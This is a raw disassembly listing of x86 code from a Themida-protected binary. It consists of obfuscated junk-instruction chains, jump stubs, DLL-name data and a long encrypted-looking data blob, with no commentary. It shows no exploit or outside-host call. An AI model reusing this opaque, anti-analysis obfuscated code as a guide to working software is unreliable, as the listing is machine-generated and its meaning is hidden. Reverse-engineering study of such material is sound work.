loc_5A5011:				; CODE XREF: Themida_:005997D5j
		add	ebp, 2A9D36C5h
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_590BA4
; ---------------------------------------------------------------------------


loc_5A5028:				; CODE XREF: Themida_:0059EF26j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_59266F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2CEBh
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		jmp	loc_59BA09
; ---------------------------------------------------------------------------


loc_5A5058:				; CODE XREF: Themida_:00594C5Ej
		push	ecx
		mov	ecx, 1B5D154Ah
		jmp	loc_5952B9
; ---------------------------------------------------------------------------


loc_5A5063:				; CODE XREF: Themida_:00597F36j
		push	esi
		pop	ebp
		push	ebp
		sub	dword ptr [esp], 2C8A4D05h
		pop	ecx
		add	ecx, 2C8A4D05h
		pop	ebp
		jmp	loc_59CA64
; ---------------------------------------------------------------------------


loc_5A507A:				; CODE XREF: Themida_:00598D49j
		xor	eax, 0D3AFF31Eh
		add	esi, eax
		pop	eax
		add	edi, esi
		jmp	loc_5A34B6
; ---------------------------------------------------------------------------


loc_5A5089:				; CODE XREF: Themida_:0059FD1Ej
		sub	ebp, 7B351B9Ch
		add	ebp, 0A4CA00ACh
		add	edi, 336033C9h
		sub	edi, ebp
		sub	edi, 336033C9h
		pop	ebp
		jmp	loc_59745C
; ---------------------------------------------------------------------------


loc_5A50A9:				; CODE XREF: Themida_:005A2EE9j
		mov	edi, 110A54DBh
		push	ebx
		jmp	loc_599C6E
; ---------------------------------------------------------------------------


loc_5A50B4:				; CODE XREF: Themida_:005A0A85j
		add	eax, 41F7BCDh
		sub	eax, edx
		sub	eax, 41F7BCDh
		sub	eax, 25A66BA9h
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ebp
		jmp	loc_59AC38
; ---------------------------------------------------------------------------


loc_5A50D1:				; CODE XREF: Themida_:0059856Fj
		shl	ecx, 2
		inc	ecx
		sub	ecx, 9DE54939h
		add	edi, ecx
		jmp	loc_595039
; ---------------------------------------------------------------------------


loc_5A50E2:				; CODE XREF: Themida_:0059918Fj
		and	esi, 26B30B8Ah
		xor	esi, 0B2088Eh
		jmp	loc_59CAE0
; ---------------------------------------------------------------------------


loc_5A50F3:				; CODE XREF: Themida_:00592CB6j
		mov	[esp], ecx
		mov	ecx, 31552CA5h
		jmp	loc_5A350E
; ---------------------------------------------------------------------------


loc_5A5100:				; CODE XREF: Themida_:005937DCj
		add	ebx, 69041A68h
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		jmp	loc_594BE1
; ---------------------------------------------------------------------------


loc_5A5112:				; CODE XREF: Themida_:005A2259j
		pop	eax
		jmp	loc_594401
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	ecx
		mov	cl, 4Fh
		inc	cl
		push	ebx
		mov	bh, 3Eh
		push	eax
		mov	al, 0F2h
		jmp	loc_59B7A8
; ---------------------------------------------------------------------------


loc_5A512B:				; CODE XREF: Themida_:00594C24j
		mov	[esp], esi
		mov	esi, 209819D8h
		add	eax, esi
		mov	esi, [esp]
		push	ecx
		jmp	loc_596E78
; ---------------------------------------------------------------------------


loc_5A513E:				; CODE XREF: Themida_:00597256j
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5982D4
; ---------------------------------------------------------------------------


loc_5A514C:				; CODE XREF: Themida_:00592432j
		pop	eax
		jmp	loc_5A2548
; ---------------------------------------------------------------------------


loc_5A5152:				; CODE XREF: Themida_:0059AAFCj
		sub	edi, 0D72B3D01h
		xor	edx, edi
		jmp	loc_5A204B
; ---------------------------------------------------------------------------


loc_5A515F:				; CODE XREF: Themida_:0059F8D6j
		add	ebx, ecx
		pop	ecx
		push	29Ch
		mov	[esp], esi
		push	edi
		push	ebx
		mov	ebx, 102289Eh
		mov	edi, ebx
		jmp	loc_594868
; ---------------------------------------------------------------------------


loc_5A5178:				; CODE XREF: Themida_:005A37BFj
		push	edx
		mov	dh, cl
		jmp	loc_5A0E1A
; ---------------------------------------------------------------------------


loc_5A5180:				; CODE XREF: Themida_:005A1155j
		or	di, 51A3h
		sub	di, 3135h
		xchg	dx, di
		jmp	loc_5919A7
; ---------------------------------------------------------------------------


loc_5A5192:				; CODE XREF: Themida_:005A4826j
		mov	esp, [esp]
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, eax
		jmp	loc_597E08
; ---------------------------------------------------------------------------


loc_5A51A5:				; CODE XREF: Themida_:00596CDEj
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		pop	ebx
		add	ebx, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		jmp	loc_59A90C
; ---------------------------------------------------------------------------


loc_5A51C4:				; CODE XREF: Themida_:0059C0EFj
		pop	edx
		xchg	ebx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_593091
; ---------------------------------------------------------------------------


loc_5A51D4:				; CODE XREF: Themida_:005998A5j
		mov	esi, edi
		pop	edi
		push	3867h
		mov	[esp], ecx
		jmp	loc_590BF8
; ---------------------------------------------------------------------------


loc_5A51E4:				; CODE XREF: Themida_:005A45DAj
		add	esp, 4
		jmp	loc_593319
; ---------------------------------------------------------------------------


loc_5A51EC:				; CODE XREF: Themida_:0059331Dj
		mov	ebp, [esp]
		push	ecx
		jmp	loc_594DE3
; ---------------------------------------------------------------------------


loc_5A51F5:				; CODE XREF: Themida_:005A446Fj
		mov	ecx, 486A076Dh
		and	ecx, 5B404A48h
		not	ecx
		not	ecx
		xor	ecx, 8504C2Eh
		not	ecx
		add	ecx, 97C35067h
		mov	ebp, ecx
		pop	ecx
		and	ebp, 7B773A66h
		push	ebp
		inc	dword ptr [esp]
		pop	ebp
		push	esi
		mov	esi, 4BA82D62h
		xor	esi, 7244B66h
		neg	esi
		add	esi, 12F57DA3h
		xor	esi, 676506EBh
		sub	esi, 61DC54D2h
		xor	esi, 93E342A3h
		add	ebp, esi
		pop	esi
		add	ebx, ebp
		jmp	loc_5986C7
; ---------------------------------------------------------------------------


loc_5A5250:				; CODE XREF: Themida_:00599A6Cj
		xor	ecx, [esp]
		jmp	loc_5937BC
; ---------------------------------------------------------------------------


loc_5A5258:				; CODE XREF: Themida_:005A26A7j
		add	ecx, 7EA82CAEh
		jmp	loc_5A54A1
; ---------------------------------------------------------------------------


loc_5A5263:				; CODE XREF: Themida_:005998D1j
		pop	ebp
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edx
		mov	edx, 70706631h
		jmp	loc_5A3568
; ---------------------------------------------------------------------------


loc_5A5285:				; CODE XREF: Themida_:0059313Fj
		push	esi
		jmp	loc_598212
; ---------------------------------------------------------------------------


loc_5A528B:				; CODE XREF: Themida_:00593354j
		push	edx
		mov	edx, 4
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5959B6
; ---------------------------------------------------------------------------


loc_5A52A7:				; CODE XREF: Themida_:00590814j
		pop	ecx
		xchg	edx, [esp]
		jmp	loc_5A2C58
; ---------------------------------------------------------------------------


loc_5A52B0:				; CODE XREF: Themida_:0059AC77j
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5A1303
; ---------------------------------------------------------------------------


loc_5A52BC:				; CODE XREF: Themida_:005993ECj
		mov	[esp], esp
		push	eax
		mov	eax, 4
		jmp	loc_598086
; ---------------------------------------------------------------------------


loc_5A52CA:				; CODE XREF: Themida_:0059D4C0j
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A52D8:				; CODE XREF: Themida_:005A009Ej
		add	ebp, 4
		push	edx
		push	1692h
		mov	[esp], esi
		push	140E0B68h
		mov	esi, [esp]
		jmp	loc_59D560
; ---------------------------------------------------------------------------


loc_5A52F4:				; CODE XREF: Themida_:005980ABj
		add	esp, 4
		jmp	loc_59206C
; ---------------------------------------------------------------------------


loc_5A52FC:				; CODE XREF: Themida_:0059E024j
		push	ecx
		mov	ecx, 22AB00C3h
		shl	ecx, 1
		add	ecx, 29960EB5h
		add	ecx, 1
		jmp	loc_5A452E
; ---------------------------------------------------------------------------


loc_5A5315:				; CODE XREF: Themida_:005A3837j
		pop	esp
		mov	[esp], edi
		push	esp
		jmp	loc_599662
; ---------------------------------------------------------------------------


loc_5A531F:				; CODE XREF: Themida_:005A36A9j
		add	dword ptr [esp], 4
		pop	edx
		push	6E18h
		mov	[esp], eax
		mov	eax, 7DFE375Bh
		inc	eax
		and	eax, 177926CDh
		add	eax, 96257A6h
		xor	eax, 1EDA7DF6h
		add	edx, eax
		jmp	loc_597447
; ---------------------------------------------------------------------------


loc_5A534B:				; CODE XREF: Themida_:00599A42j
		inc	ebx
		push	4D42h
		mov	[esp], eax
		mov	eax, 0FF478DF8h
		jmp	loc_59CAF4
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ecx
		push	53CF52C1h
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_598A07
; ---------------------------------------------------------------------------


loc_5A537D:				; CODE XREF: Themida_:0059074Aj
		mov	ax, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_5942FC
; ---------------------------------------------------------------------------


loc_5A5389:				; CODE XREF: Themida_:00598671j
		sub	[esp], ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 52974A9h
		add	edi, 42F41F5Fh
		jmp	loc_5A34DF
; ---------------------------------------------------------------------------


loc_5A53A6:				; CODE XREF: Themida_:005A108Ej
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_59E5A2
; ---------------------------------------------------------------------------


loc_5A53B4:				; CODE XREF: Themida_:0059A231j
		mov	ch, 0DFh
		jmp	loc_5A141C
; ---------------------------------------------------------------------------


loc_5A53BB:				; CODE XREF: Themida_:005A0E60j
		pop	edx
		push	ebx
		mov	ebx, 53BB73D3h
		xor	eax, ebx
		jmp	loc_595CC6
; ---------------------------------------------------------------------------


loc_5A53C9:				; CODE XREF: Themida_:00595405j
		push	ebx
		mov	ebx, 5BF54EA9h
		push	edx
		mov	edx, 562E4927h
		sub	ebx, edx
		pop	edx
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	edx
		push	edi
		push	5ACFh
		jmp	loc_59FBBF
; ---------------------------------------------------------------------------


loc_5A53EF:				; CODE XREF: Themida_:0059D9DDj
		mov	ecx, 4
		push	esi
		mov	esi, 70584BE9h
		sub	[esp+8], esi
		pop	esi
		add	[esp+4], ecx
		add	dword ptr [esp+4], 70584BE9h
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_59F6BD
; ---------------------------------------------------------------------------


loc_5A5415:				; CODE XREF: Themida_:005A4C4Fj
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4


loc_5A541E:				; CODE XREF: Themida_:0059CC38j
					; Themida_:005A46DDj
		push	7ED2h
		mov	[esp], eax
		jmp	loc_5A42EA
; ---------------------------------------------------------------------------


loc_5A542B:				; CODE XREF: Themida_:00599BD8j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_59AE14
; ---------------------------------------------------------------------------


loc_5A5434:				; CODE XREF: Themida_:0059EF84j
		pop	ebx
		add	eax, 0C013E257h
		push	eax
		push	ebp
		mov	ebp, 2C5629DCh
		jmp	loc_59879B
; ---------------------------------------------------------------------------


loc_5A5446:				; CODE XREF: Themida_:0059D184j
		push	ebx
		mov	ebx, 3D3E6FF6h
		and	ecx, ebx
		pop	ebx
		add	ecx, 0F2FFB030h
		jmp	loc_5A32DA
; ---------------------------------------------------------------------------


loc_5A545A:				; CODE XREF: Themida_:0059D9A2j
		sub	al, 0E9h
		jmp	loc_5A4AC2
; ---------------------------------------------------------------------------


loc_5A5461:				; CODE XREF: Themida_:005973D2j
		pop	ecx
		jmp	loc_597FA7
; ---------------------------------------------------------------------------


loc_5A5467:				; CODE XREF: Themida_:005A362Aj
		xor	dh, 14h
		jmp	loc_5A18A3
; ---------------------------------------------------------------------------


loc_5A546F:				; CODE XREF: Themida_:0059C05Bj
		mov	ecx, 40967AD1h
		shr	ecx, 5
		xor	ecx, 3DD30878h
		add	ecx, 0C0284456h
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_590CF8
; ---------------------------------------------------------------------------


loc_5A5494:				; CODE XREF: Themida_:005A0C54j
		mov	[esp], ebp
		mov	ebp, 2B41290h
		jmp	loc_5A1287
; ---------------------------------------------------------------------------


loc_5A54A1:				; CODE XREF: Themida_:005A525Ej
		xor	ecx, 0AEB236CAh
		sub	eax, ecx
		pop	ecx
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_598253
; ---------------------------------------------------------------------------


loc_5A54B5:				; CODE XREF: Themida_:0059B88Dj
		push	2C380D9Fh
		push	dword ptr [esp]
		jmp	loc_5A4CD3
; ---------------------------------------------------------------------------


loc_5A54C2:				; CODE XREF: Themida_:00592FECj
		sub	ebx, 8977131h
		add	ebx, 9373774h
		jmp	loc_59905B
; ---------------------------------------------------------------------------


loc_5A54D3:				; CODE XREF: Themida_:0059D02Fj
		sub	esp, 4
		jmp	loc_5A27FD
; ---------------------------------------------------------------------------


loc_5A54DE:				; CODE XREF: Themida_:00598BF2j
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A54E3:				; CODE XREF: Themida_:0059BD60j
		pop	ebp
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, 2EEA5B7Bh
		jmp	loc_5A2949
; ---------------------------------------------------------------------------


loc_5A54F9:				; CODE XREF: Themida_:005A3938j
		xor	ecx, esi
		pop	esi
		sub	eax, ecx
		pop	ecx
		push	edx
		jmp	loc_5A277C
; ---------------------------------------------------------------------------


loc_5A5505:				; CODE XREF: Themida_:005A2718j
		sub	[esp+8], ebx
		jmp	loc_59F7FD
; ---------------------------------------------------------------------------


loc_5A550E:				; CODE XREF: Themida_:00595803j
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_593E4A
; ---------------------------------------------------------------------------


loc_5A5522:				; CODE XREF: Themida_:00596F29j
		add	esi, 7CA5606Ch
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esi, 72CA56CFh
		add	esi, eax
		push	edi
		mov	edi, 5151590Fh
		shr	edi, 8
		jmp	loc_5932DD
; ---------------------------------------------------------------------------


loc_5A5548:				; CODE XREF: Themida_:0059A613j
		sub	edi, 6D273E39h
		add	edi, ebx
		push	edx
		mov	edx, 1A115938h
		shr	edx, 8
		sub	edx, 92F2D320h
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_591C13
; ---------------------------------------------------------------------------


loc_5A556F:				; CODE XREF: Themida_:0059F4DDj
		mov	dl, ch
		mov	ah, dl
		pop	edx
		mov	bh, ah
		jmp	loc_5A4D1A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		jmp	loc_597765
; ---------------------------------------------------------------------------


loc_5A558E:				; CODE XREF: Themida_:00595CD4j
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_59058A
; ---------------------------------------------------------------------------


loc_5A559C:				; CODE XREF: Themida_:0059B99Cj
		add	edi, 2D25B39Ah
		xor	ecx, edi
		pop	edi
		add	eax, ecx
		pop	ecx
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		push	7AB0h
		mov	[esp], eax
		jmp	loc_5A0ECB
; ---------------------------------------------------------------------------


loc_5A55D3:				; CODE XREF: Themida_:00590443j
		mov	eax, 6B8E5E58h
		not	eax
		add	eax, 24EA54C2h
		inc	eax
		not	eax
		shr	eax, 5
		xor	eax, 726F6B75h
		add	edx, eax
		pop	eax
		add	edx, 7CED24F0h
		add	edx, eax
		sub	edx, 7CED24F0h
		sub	edx, 705A4B39h
		pop	eax
		add	edx, eax
		jmp	loc_5A347A
; ---------------------------------------------------------------------------


loc_5A5609:				; CODE XREF: Themida_:00597BABj
		mov	bl, 85h
		shr	bl, 2
		sub	bl, 48h
		shl	bl, 1
		push	ax
		mov	al, 2Dh
		jmp	loc_5903DC
; ---------------------------------------------------------------------------


loc_5A561C:				; CODE XREF: Themida_:0059530Dj
		mov	esi, [esp]
		add	esp, 4
		sub	eax, 1
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0CC569A6h
		sub	eax, ebp
		pop	ebp
		push	edi
		mov	edi, 38AC7F41h
		shl	edi, 2
		add	edi, 79A93108h
		jmp	loc_59FD94
; ---------------------------------------------------------------------------


loc_5A5649:				; CODE XREF: Themida_:00599788j
		pop	eax
		jmp	loc_5A0909
; ---------------------------------------------------------------------------


loc_5A564F:				; CODE XREF: Themida_:005965EAj
		mov	eax, 4
		jmp	loc_5A453F
; ---------------------------------------------------------------------------


loc_5A5659:				; CODE XREF: Themida_:005975A5j
		mov	eax, 4
		mov	ecx, eax
		pop	eax
		add	ebp, ecx
		jmp	loc_5A14E2
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	esp
		jmp	loc_59A20F
; ---------------------------------------------------------------------------


loc_5A567B:				; CODE XREF: Themida_:0059D0E3j
		add	edi, ecx
		push	edx
		mov	edx, 21795E1Ch
		xor	edx, 3C993323h
		sub	edi, edx
		pop	edx
		pop	ecx
		jmp	loc_590D58
; ---------------------------------------------------------------------------
		xchg	al, [esp]
		xchg	bl, al
		push	3C25h
		mov	[esp], ecx
		push	eax
		jmp	loc_5A36AE
; ---------------------------------------------------------------------------


loc_5A56A5:				; CODE XREF: Themida_:0059BEFAj
		shl	edi, 1
		shr	edi, 6
		add	edi, 0FFF38A1Ch
		jmp	loc_5A4F88
; ---------------------------------------------------------------------------


loc_5A56B5:				; CODE XREF: Themida_:005A105Bj
		inc	ebx
		xor	ebx, 0B795BEB4h
		mov	ecx, ebx
		pop	ebx
		dec	ecx
		inc	ecx
		dec	ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5914F0
; ---------------------------------------------------------------------------


loc_5A56D0:				; CODE XREF: Themida_:00599BBFj
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_5954A5
; ---------------------------------------------------------------------------


loc_5A56E2:				; CODE XREF: Themida_:005A0820j
		add	edi, 0BAE0CA80h
		add	esi, edi
		pop	edi
		jmp	loc_5A3BA7
; ---------------------------------------------------------------------------


loc_5A56F0:				; CODE XREF: Themida_:0059F50Dj
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_5A36A5
; ---------------------------------------------------------------------------


loc_5A56FE:				; CODE XREF: Themida_:0059C3A1j
		push	ebp
		push	71F0101h
		pop	ebp
		xchg	edi, ebp
		not	edi
		xchg	edi, ebp
		jmp	loc_5940CF
; ---------------------------------------------------------------------------


loc_5A5710:				; CODE XREF: Themida_:005A2356j
		add	ecx, 1016653Bh
		sub	ecx, 7C8807CEh
		xor	[ecx], ebp
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	ebp
		popa
		jmp	loc_592B3E
; ---------------------------------------------------------------------------


loc_5A5730:				; CODE XREF: Themida_:00591414j
		inc	ch
		jmp	loc_59D0E8
; ---------------------------------------------------------------------------


loc_5A5737:				; CODE XREF: Themida_:005919EBj
		sub	esp, 4
		jmp	loc_59E240
; ---------------------------------------------------------------------------


loc_5A5742:				; CODE XREF: Themida_:00592E2Fj
		shr	ebp, 4
		push	ecx
		mov	ecx, 43AA4F5Dh
		sub	esp, 4
		jmp	loc_59325B
; ---------------------------------------------------------------------------


loc_5A5753:				; CODE XREF: Themida_:00590B9Fj
		add	bl, al
		add	bl, 5
		push	ecx
		mov	cl, 0C1h
		sub	esp, 2
		mov	[esp], ax
		jmp	loc_59AE53
; ---------------------------------------------------------------------------


loc_5A5767:				; CODE XREF: Themida_:0059EE4Fj
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A5773:				; CODE XREF: Themida_:005922DBj
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A5778:				; CODE XREF: Themida_:005838F4j
		jmp	loc_5A57CB
; ---------------------------------------------------------------------------
		db 49h,	53h, 10h
		dd 45535508h, 2E323352h, 6C6C64h, 41564441h, 32334950h
		dd 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D8006C6Ch,	2000507h
		dd 12000600h, 0F000A00h, 9800h,	5 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5A57CB:				; CODE XREF: Themida_:loc_5A5778j
		jmp	loc_5A6072
; ---------------------------------------------------------------------------
		push	6149DBEh
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6149E27h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6149F28h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	614A038h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	614A0C0h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	614A1BAh
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	614A230h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		dw 5B36h
		dd 0BECE67B4h, 1F6B0451h, 850AA3F0h, 0E9A43D8Ah, 0CCE9D926h
		dd 57A46B22h, 0F542CDBEh, 8EDB345Ch, 297699F5h,	8FF8004Fh
		dd 0EC4DF3FCh, 9314390Fh, 5A766880h, 92F95A59h,	5C02EA7Dh
		dd 7A392831h, 0F175DC72h, 0CF202B49h, 4B8777EFh, 0F9E8F184h
		dd 806C323Ah, 505B29B9h, 0A0858E1Bh, 0AEEAD9E1h, 0E1923CBh
		dd 0C3F8964Fh, 0A784CCBBh, 39A4AF27h, 0D43B53ECh, 7CD77055h
		dd 16DD8232h, 733h, 0E532DDB4h,	82CF404Ch, 216EA1E9h, 0BB080788h
		dd 57A46B22h, 0EDA04E67h, 4F3CD522h, 0B6DA73C0h, 1B730C59h
		dd 7ECDA7F4h, 0F3FD1176h, 0BF95724Dh, 0BEF31C72h, 7A392831h
		dd 2BE4AA63h, 0F3EC3898h, 848F49F3h, 8E810CC5h,	0BDD38CFBh
		dd 246C0552h, 0FBF88F97h, 808B4DF3h, 7717E015h,	6EA21998h
		dd 0EB90EBA0h, 6CA24h, 0C9464B00h, 66A9E37Ch, 50A8019h
		dd 9F701FB8h, 3BD4B952h, 37B7FEEEh, 0D36CB956h,	710A57B8h
		dd 0AA3F01Fh, 643E8B84h, 0FD7A0D15h, 2C094DF3h,	0F31C7256h
		dd 0B1DE97BEh, 0D4BACB5Eh, 0AF1B063Bh, 0E27B5B32h, 0C24322BCh
		dd 3CFAF6FCh, 0E3E578B5h, 3Fh, 0F22273F4h, 0A9B40BD4h
		dd 1C72E816h, 0F6AFA6F3h, 0B8E67996h, 0DF5F6823h, 0DD3C5247h
		dd 34F35EB1h, 6CFF107Bh, 1C09126Fh, 0C92E555Dh,	4A5549F1h
		dd 51BED28Bh, 0EA256B04h, 639EEB5h, 72580000h, 31BEF31Ch
		dd 0AADDE528h, 0D947DF5Fh, 9CA463CEh, 49F18956h, 50E93641h
		dd 0B562133Eh, 6DDF4794h, 4F58B502h, 85F01F6Ch,	779FBEC6h
		dd 0F9045006h, 0F813Ah,	12078841h, 8A5D927Dh, 0F68F8C1Fh
		dd 20D7F9Ah, 243B6297h,	0E5786B1Ch, 75188747h, 0FC05B8DEh
		dd 929A5964h, 47E60BF5h, 0D7E87B86h, 0E8D958B7h, 4AEDB25Eh
		dd 5C9DEA5h, 474A0000h,	0AAE27BC8h, 0B7F1865h, 711EB704h
		dd 0D5B8519Eh, 0B8FDED3Ah, 6BB85736h, 956B9D2h,	0A2EF2070h
		dd 3D8A8509h, 7B0C1463h, 84DF3FEh, 5B14552Bh, 3748DB34h
		dd 0BA83B857h, 1B063BD4h, 5A6832AFh, 9247DF5Ah,	0BCFCFCD5h
		dd 0FF162922h, 813AFFFFh, 0FDD0050Ah, 1C723C6Ah, 2831BEF3h
		dd 0C727A39h, 3B49F190h, 7D86E330h, 95D1D998h, 7950039Bh
		dd 29E6A962h, 167121F4h, 6547DF81h, 747FC75Ah, 7497183Fh
		dd 0A3E4ECA1h, 0E047DFA7h, 0AD38ACD5h, 0D2070886h, 0A10194FFh
		dd 47DFB2EDh, 9EF5EC08h, 22BCB126h, 15FF3h, 0C39B4500h
		dd 25E4D1DAh, 0F175311Dh, 8A495449h, 2D5EBBD1h,	6F4277E2h
		dd 6BFBDBDCh, 73844B87h, 93ED1BAh, 0C5CEA336h, 851921E0h
		dd 6029B980h, 7D8EF901h, 0E2ED21B9h, 0ACB54277h, 0C5FE06C5h
		dd 2E23CBAEh, 0E3AB6423h, 0D1E8DF2Ch, 0A784BEC9h, 1FB2BD27h
		dd 0F599800Eh, 3F30AF1Ah, 0B3327CD7h, 4B9470Eh,	573A0000h
		dd 0BAD26BB8h, 1B6F0855h, 810EA7F4h, 0E5A8418Eh, 0C8EDDD2Ah
		dd 5BA86726h, 0F946C9C2h, 92DF3060h, 2D7A95F9h,	8BFC0453h
		dd 0F84DF3FFh, 0A5AE451Bh, 53F901C0h, 4649F3F2h, 0C8C37C3Bh
		dd 8C45B447h, 934C0B04h, 19E217F8h, 9F329D72h, 7D94ABA2h
		dd 0F3FC1275h, 0B666714Dh, 4DF3FBD1h, 314A7B2h,	0AC3828Dh
		dd 8B548986h, 4D70C03h,	58210699h, 0A7D8536h, 794DF3FCh
		dd 6984036Eh, 0E9EBA06Eh, 4317D44h, 0DFB20000h,	424AE330h
		dd 0A3E780CDh, 9861F6Ch, 6D20B906h, 506555A2h, 0D320EF9Eh
		dd 71BE513Ah, 0A57B8D8h, 0A5F21D71h, 13747CCBh,	704DF400h
		dd 1C72BD93h, 99F5BEF3h, 0C7564176h, 0FA8D820Eh, 596933AEh
		dd 3D47DF5Ah, 0DF615235h, 0BB263147h, 0BCFC87FEh, 0FD765222h
		dd 0AA63FFFFh, 689629E6h, 0BEF31C72h, 4C432831h, 919958C3h
		dd 49F1907Dh, 0FAB0FD08h, 0C6CFA89Bh, 500920DFh, 0E242D53Ah
		dd 49F1756Ch, 19F69A9Bh, 73CD3B8h, 8978C934h, 0C255BAD0h
		dd 6DE5362h, 0BBAAB3B6h, 0DDAAF4FCh, 7C7DF7F6h,	35C6FB14h
		dd 0FBBAE33Ch, 0E34EB974h, 0EB246B24h, 0DDE67358h, 923139F8h
		dd 0E1F208ABh, 99617D6h, 0F6B2ED60h, 47006F02h,	5009C847h
		dd 0CC9FD43Bh, 2E453C39h, 0E4FC6126h, 0BBC322F5h, 0F5E4FCCCh
		dd 0A639A4AFh, 7020F995h, 2C976A9Fh, 0B16FA6ADh, 0E0A74C43h
		dd 337h, 0E936D9B8h, 86D33C50h,	25729DEDh, 0BF0C038Ch
		dd 5BA86726h, 0E9A44A6Bh, 4B40D926h, 0B2DE77C4h, 1777105Dh
		dd 82D1ABF8h, 0F4010D7Ah, 0BB916E4Dh, 1C0A5AEh,	0F3F24DF9h
		dd 0EEADB849h, 0DF605B35h, 0E9DD8519h, 6C1BCBC9h, 464DF3CFh
		dd 2530C847h, 0BCD46DBAh, 76F71E53h, 0FC1124E5h, 2B5C649Fh
		dd 584DF3A6h, 3E4FE24Dh, 940BF50h, 0C9EBA0B4h, 2C15D24h
		dd 4F420000h, 0B2DA73C0h, 1377105Dh, 7916AFFCh,	0DDB04996h
		dd 0C0F5E532h, 63B05F2Eh, 14EC1CAh, 9AE72868h, 35828D01h
		dd 83040C5Bh, 4DF401h, 0A5AE4D23h, 4DF901C0h, 0B849F3F2h
		dd 106DEEADh, 5355E653h, 0A45DCC5Fh, 0AD6625EAh, 9D9A2DE2h
		dd 878FA6h, 834DF45Ah, 610E578h, 0E1A6AEC5h, 0A24DF459h
		dd 59A0E797h, 0D8E34DF4h, 97F5AE6Dh, 0CC010E82h, 8CFB8EF9h
		dd 0F45A3D84h, 4A7F8A4Dh, 0CE030C81h, 7B9EEFA8h, 8D820910h
		dd 0AF1A8558h, 16FB0562h, 0E665D657h, 0DE2FD691h, 0EBD4DC4Bh
		dd 0B14DF435h, 35F5929Ah, 7B864DF4h, 0EC9FA0E8h, 0BA83B823h
		dd 0DF063BD4h, 241647C8h, 934A21E0h, 0F44FA4E3h, 39CCD74Dh
		dd 9D7C12CBh, 66B31EF1h, 37D8B66Fh, 255AB5D6h, 0E0AEBF52h
		dd 5159702Fh, 4DF45036h, 0C2A73A45h, 41221A9Bh,	0C36BF1D4h
		dd 77DA4830h, 0FDC6FB14h, 6A497E91h, 0C4E6FBE6h, 0F09E4998h
		dd 0C4DBD21Fh, 0F371CBBCh, 1AADB84Dh, 558A8509h, 7518018Ch
		dd 6992659Ah, 0B9D15A25h, 5B90FB74h, 0E217F892h, 659A7519h
		dd 28BD2468h, 0DBB42DB1h, 0E2A5ADC4h, 0A14DF37Ah, 7AA1E696h
		dd 0E1E24DF3h, 3BFA65AAh, 0F37A5433h, 891C274Dh, 0ACF91678h
